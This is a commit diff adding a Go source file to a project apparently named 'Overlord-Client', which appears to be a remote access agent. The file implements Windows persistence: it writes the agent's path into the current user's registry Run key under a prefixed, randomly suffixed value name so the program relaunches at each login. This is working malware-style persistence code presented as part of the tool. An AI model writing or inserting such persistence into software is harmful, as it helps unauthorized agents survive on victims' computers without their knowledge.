tons of new build options, fix mutex shit, etc

Overlord-Client/cmd/agent/persistence/persistence_windows_registry.go

@@ -0,0 +1,40 @@
+//go:build windows && persist_registry
+// +build windows,persist_registry
+
+package persistence
+
+import (
+	"crypto/rand"
+	"encoding/hex"
+	"fmt"
+	"strings"
+
+	"golang.org/x/sys/windows/registry"
+)
+
+func init() {
+	persistInstallFn = installRegistry
+}
+
+func installRegistry(targetPath string) error {
+	k, _, err := registry.CreateKey(registry.CURRENT_USER, registryKey,
+		registry.QUERY_VALUE|registry.SET_VALUE)
+	if err != nil {
+		return fmt.Errorf("failed to open HKCU Run key: %w", err)
+	}
+	defer k.Close()
+
+	names, _ := k.ReadValueNames(0)
+	for _, name := range names {
+		if strings.HasPrefix(strings.ToLower(name), strings.ToLower(registryValuePrefix)) {
+			return k.SetStringValue(name, fmt.Sprintf(`"%s"`, targetPath))
+		}
+	}
+
+	b := make([]byte, 4)
+	if _, err := rand.Read(b); err != nil {
+		return fmt.Errorf("failed to generate registry value name: %w", err)
+	}
+	valueName := registryValuePrefix + hex.EncodeToString(b)
+	return k.SetStringValue(valueName, fmt.Sprintf(`"%s"`, targetPath))
+}